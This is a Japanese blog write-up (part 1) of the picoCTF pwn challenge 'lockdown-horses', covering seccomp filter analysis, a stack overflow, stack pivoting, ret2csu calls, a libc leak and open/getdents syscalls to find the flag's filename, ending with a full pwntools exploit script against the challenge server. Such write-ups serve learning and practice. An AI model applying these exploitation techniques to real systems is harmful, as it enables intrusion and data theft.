lockdown-horses writeup 1

CTF 未分類
CTF関連のブログに使用。

picoCTFのpwnの450points問題です。個人的に色々と学ぶことが多かったので、writeupを書いてみようと思います。問題の概要は以下の通りです。

Here at Moar Horse Industries, we believe, especially during these troubling times, that everyone should be able to make a horse say whatever they want. We were tired of people getting shells everywhere, so now it should be impossible! Can you still find a way to rope yourself out of this one? Flag is in the current directory. seccomp-tools might be helpful. nc mars.picoctf.net 31809

問題の概要は上の通り。その他に、horseというバイナリファイルとDockerfileが配布されている。Dockerfileを少なからず利用するのだろうな、、。(Dockerfileを配布する問題に遭遇したことがなかったのとDockerをあまり触ったことがなかったので、結構放置してた。)

問題文を読むと、どうやらseccomp-toolsというものを使うらしい。seccompとは、BPF(Berkeley Packet Filter)を利用してプロセスの発行するシステムコールを制限する仕組みのこと。BPFとは、Linuxカーネル内で実行される仮想マシンで、このマシンが理解できる命令を用いてパケットやシステムコールなどのフィルタリングができるようになっている。(BPFよくわからん、なので間違っていたらすみません。)

上のようなことを念頭に置きつつ、実行されるバイナリを解析する。fileコマンドの結果は、

$ file horse
horse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=306f63e08aa32a80b2944b7ad735bd8268a84b2c, not stripped

だった。(not stripped助かる、、)手元で実行してみると、なんかしらの入力を受け取り、受け取ったものと馬のアスキーアートを出力して終わり、という簡素なもの。checksecをしてみると、

$ checksec horse
[*] './horse'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

実際にGhidraで解析してみると、

undefined8 main(void)
{
    undefined local_28 [32];
    int n = 0;
    setup();
    read(0,local_28,0x80);
    horse(local_28);
    return 0;
}

という構造になっていて、どうやらsetup()でseccompの設定をしているらしい。その後のreadでスタックオーバーフローをする問題っぽい。seccompのソースコードからBPFの命令を読み取るのもいいが、せっかくなのでseccomp-toolsを使ってみる。

$ seccomp-tools dump ./horse
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x13 0xc000003e  if (A != ARCH_X86_64) goto 0021
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x10 0xffffffff  if (A != 0xffffffff) goto 0021
 0005: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0020
 0006: 0x15 0x0d 0x00 0x00000009  if (A == mmap) goto 0020
 0007: 0x15 0x0c 0x00 0x0000003c  if (A == exit) goto 0020
 0008: 0x15 0x0b 0x00 0x000000d9  if (A == getdents64) goto 0020
 0009: 0x15 0x0a 0x00 0x000000e7  if (A == exit_group) goto 0020
 0010: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0015
 0011: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0012: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0021
 0013: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0014: 0x15 0x05 0x06 0x00000000  if (A == 0x0) goto 0020 else goto 0021
 0015: 0x15 0x00 0x05 0x00000001  if (A != write) goto 0021
 0016: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
 0017: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0021
 0018: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0019: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0021
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0021: 0x06 0x00 0x00 0x00000000  return KILL

この出力から分かるのは、

  • x86_64アーキテクチャであること(2命令目)。つまり、int 0x80による回避はだめ。
  • x32 ABIは使用できないこと(4命令目)。
  • 使用できるシステムコールは、open, mmap, exit, getdents64, exit_group, sdtinからのread, stdoutへのwriteのみであること。

である。特にexecveができないので、シェルを奪うことはできなさそう。seccompで許可されているシステムコールもふまえると、この問題はflagの書いてあるファイルからopenやmmapを利用して直接読み出してね、というものらしい。配布されたDockerfileをみてみると、

FROM redpwn/jail:sha-a795cdd

COPY --from=ubuntu@sha256:703218c0465075f4425e58fac086e09e1de5c340b12976ab9eb8ad26615c3715 / /srv

COPY bin/horse /srv/app/run
COPY bin/flag.txt /srv/app/flag.txt

RUN mv /srv/app/flag.txt /srv/app/flag-`cat /proc/sys/kernel/random/uuid`.txt

flag.txtというファイルを/srv/app/flag.txtに置き、イメージをビルドする時にflag-[ランダムな値].txtという名前に変更していることが分かる。フラグの入っているファイルの名前も特定する必要があるということだ(だからgetdentsシステムコールが許可されていたのか、、)。

ここまで分かったのでexploitを書いていく。まずは、スタックオーバーフローでROP-Gadgetを組んでいくが、readが0x80しか読み込めないのでそんなに長いGadgetは組めない。よって、スタックをより広いところへ移動させることにする。0x602000~0x603000のメモリが書き込み可能なので、そこに新しくROP-Gadgetを書き込み、rspを0x602000にすることでこれを完了する。ROP-Gadgetをrp++で探してみると、horseバイナリから得られるgadgetで使えそうなものは、こんな感じ。

0x00400c03: pop rdi ; ret  ;  (1 found)
0x00400c01: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400bfd: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)

残念ながらrdxにうまく値を入れてあげる方法が見つからなかったので、元々入っている値が十分に大きいことを信じてread(0, 0x602000, rdx)を実行する。その後、rspの値を0x602000に変化させてスタックを切り替える。スタックの構造で表すと、

|-----------------|
|   0x00400c03    |
|-----------------|
|            0    | <-- rdi
|-----------------|
|   0x00400c01    |
|-----------------|
|     0x602000    | <-- rsi
|-----------------|
|                 | (<-- r15)
|-----------------|
|   0x00400bfd    |
|-----------------|
|     0x602000    | <-- rsp
|-----------------|

こうするとmain終了後にreadが呼ばれ、0x602000へ好きなデータを書き込むことができる。ここにROP-Gadgetを仕込むことでROPを継続することができる。幸いにも、gdbで見てみるとrdxには大きな値が入っていたので、入力データの大きさには困らなそう。次のペイロードを作る上で注意した方がいいのは、スタックを移動した直後はpop r13から処理が始めるということ。

次のROPは、、、とガジェットを探しているとsyscallガジェットが無いではないか!というわけで、libcからsyscallガジェットを取ってくる必要がでてきた。最初、GOTからreadやwriteなどのアドレスをリークしlibcを特定しようと思ったが、libc databaseに検索をかけても見つからなかったので、Dockerfileをビルドして中から取り出すことにした。ビルドしたイメージの実行時には、–privilegedオプションが必要だったが、詳しいことはよくわからない(今度Dockerについてまとめる必要があるな)。そうやって取り出したlibcは、以下のようだった。

$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.1) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

まずは、flagファイル名の特定を目指す。スタックの入れ替えによって広大なスタック領域を得ることができたので、__libc_csu_initを用いて第3引数までを指定した関数コールができるようになった。具体的には、

0x0000000000400be0 <+64>:    mov    rdx,r15
0x0000000000400be3 <+67>:    mov    rsi,r14
0x0000000000400be6 <+70>:    mov    edi,r13d
0x0000000000400be9 <+73>:    call   QWORD PTR [r12+rbx*8]
0x0000000000400bed <+77>:    add    rbx,0x1
0x0000000000400bf1 <+81>:    cmp    rbp,rbx
0x0000000000400bf4 <+84>:    jne    0x400be0 <__libc_csu_init+64>
0x0000000000400bf6 <+86>:    add    rsp,0x8
0x0000000000400bfa <+90>:    pop    rbx
0x0000000000400bfb <+91>:    pop    rbp
0x0000000000400bfc <+92>:    pop    r12
0x0000000000400bfe <+94>:    pop    r13
0x0000000000400c00 <+96>:    pop    r14
0x0000000000400c02 <+98>:    pop    r15
0x0000000000400c04 <+100>:   ret

の<+90>からrbx, rbp, r12, r13, r14, r15に値を入れ、その後<+64>に行くことで(第一引数が32bitになってしまうが)任意アドレスを好きな3つの引数で呼び出すことができる。callした関数からreturnしてきても、rbp=1, rbx=0のように設定しておけば(これらのレジスタは関数コールの前後で値が保存される)そのまま一番下まで実行されret命令に到達する。

このテクニックを利用することで、write(1, [readのGOTテーブル], 8)のような関数を実行できる。ファイル名をリークしたいので、以下のようにガジェットを組んだ。

  • write(1, [readのGOTテーブル], 8)をしてlibcのベースアドレスを特定する。
  • read(0, 0x602f00, 3)を呼び出し、後にopenシステムコールで使用する”./\x00″という文字列を格納しておく。
  • もう一度スタックの入れ替えを行うために、read(0, 0x602000, 0x1000)を実行する。

次のペイロードでは、実際にファイル名を特定しに行くので、以下のようにガジェットを組んだ。libcのベースが特定できたのでlibc内のガジェットを利用できる。pop raxなどもあったので、レジスタの指定は楽になった。問題なのは、syscallガジェットを普通に使うとその後の命令が実行できなくなるので、syscall; ret; というガジェットを選ぶ必要があるということ。

0x00066229: syscall  ; ret  ;  (17 found)

これを踏まえて、ファイルを特定するために以下のようなガジェットを組んだ。

  • open(“./”, O_RDONLY[=0])すなわち、open(0x602f00, 0)を実行する。
  • getdents(3, 0x602800, 0x400)を実行する。openしたカレントディレクトリに対応するファイルディスクリプタは3であるので、dirent構造体の配列を書き込むメモリを0x602800にでもした。0x400は書き込むサイズ。
  • write(1, 0x602800, 0x400)を実行する。直前のgetdentsシステムコールで書き込まれたバッファ内のデータを標準出力に書き出す。

実際にこれをすることで、大量な出力の中にファイル名「flag-b1a750d7-91bf-43ab-8c81-4b504644b434.txt」が見つかった。ここまでで一旦この記事は終了。

from pwn import *
import struct

host, port = "mars.picoctf.net", 31809

# conn = process("./horse_patched")
conn = remote(host, port)

write_plt = 0x400740
read_plt = 0x400790

rop_ret = 0x4005a8
rop_rdi = 0x400c03
rop_rsi_r15 = 0x400c01
rop_rsp_r13_r14_r15 = 0x400bfd

got_read = 0x601fd8
got_write = 0x601fb0

new_stack_buf = 0x602000


""" 
①スタックの位置を変更し、長めのpayloadが送れるようにする 
"""
payload = b"A" * 40
# read(0, payload_buf, rdx)
payload += struct.pack("<QQ", rop_rdi, 0)
payload += struct.pack("<QQQ", rop_rsi_r15, new_stack_buf, 0)
payload += struct.pack("<Q", read_plt)
# rspの移動
payload += struct.pack("<QQ", rop_rsp_r13_r14_r15, new_stack_buf)
conn.sendline(payload)


""" 
②libcのベースアドレスのリーク
"""
def create_function_call_gadget(func, edi, rsi, rdx):
    # __libc_csu_initのROP片を利用した関数コール
    # funcは関数自体のアドレスではなく関数のアドレスが書かれているアドレスを指定する必要がある
    # つまり、gotテーブルのアドレスなどを指定するように! 
    __libc_csu_init_A = 0x400be0
    __libc_csu_init_B = 0x400bfa
    rp = struct.pack("<Q", __libc_csu_init_B)
    rp += struct.pack("<QQQ", 0, 1, func)
    rp += struct.pack("<QQQ", edi, rsi, rdx)

    rp += struct.pack("<QQ", __libc_csu_init_A, 0xdeadbeef)
    rp += struct.pack("<QQQQQQ", 0, 0, 0, 0, 0, 0)
    return rp

# pop r13; pop r14; pop r15; ret;の処理から始まるので先頭3つを0にしておく
payload = b"A" * 24
# write(1, got_read, 8)
payload += create_function_call_gadget(got_write, 1, got_read, 8)
# read(0, 0x602f00, 2)
payload += create_function_call_gadget(got_read, 0, 0x602f00, 3)
# 再度payloadを送れるようにする
payload += create_function_call_gadget(got_read, 0, 0x602000, 0x800)
# rspの移動
payload += struct.pack("<QQ", rop_rsp_r13_r14_r15, new_stack_buf)
conn.send(payload)

for u in conn.recvlines(9):
    # horseの出力を受け取る
    # 一応出力しておく
    print(u.decode())

# 上の攻撃でreadのアドレスがリークする。
libc_read = struct.unpack("<Q", conn.recv(8)[:8])[0]
libc_base = libc_read - 0x111130
print("libc_base:", hex(libc_base))

# 0x602f00アドレスに.\x00を書き込む
conn.send(b".\x00")


""" 
③openシステムコールとgetdentsシステムコールを駆使してファイル名を特定する
"""
rop_rsi = libc_base + 0x27529
rop_rdx_r12 = libc_base + 0x11c371
rop_rax = libc_base + 0x4a54f
rop_syscall_ret = libc_base + 0x66229 # syscall -> retのROPGadgetのアドレス
dirname_buf = 0x602f00 # ディレクトリの名前がおいてあるアドレス
dirent_buf = 0x602800 # dirent構造体をマップしてもらう先のバッファのアドレス

# pop r13; pop r14; pop r15; ret;の処理から始まるので0で埋める
payload = b"A" * 24
# open(dirname_buf, O_RDONLY[=0])
payload += struct.pack("<QQ", rop_rdi, dirname_buf)
payload += struct.pack("<QQ", rop_rsi, 0)
payload += struct.pack("<QQ", rop_rax, 2)  # open syscall
payload += struct.pack("<Q", rop_syscall_ret)
# getdents(3, dirent_buf, 0x400)
payload += struct.pack("<QQ", rop_rdi, 3)
payload += struct.pack("<QQ", rop_rsi, dirent_buf)
payload += struct.pack("<QQQ", rop_rdx_r12, 0x400, 0)
payload += struct.pack("<QQ", rop_rax, 217) # syscall number getdents
payload += struct.pack("<Q", rop_syscall_ret)
# write(1, dirent_buf, 0x100)
payload += struct.pack("<QQ", rop_rdi, 1)
payload += struct.pack("<QQ", rop_rsi, dirent_buf)
payload += struct.pack("<QQQ", rop_rdx_r12, 0x100, 0)
payload += struct.pack("<Q", write_plt)
conn.send(payload)
print(conn.recv(4096))

コメント

タイトルとURLをコピーしました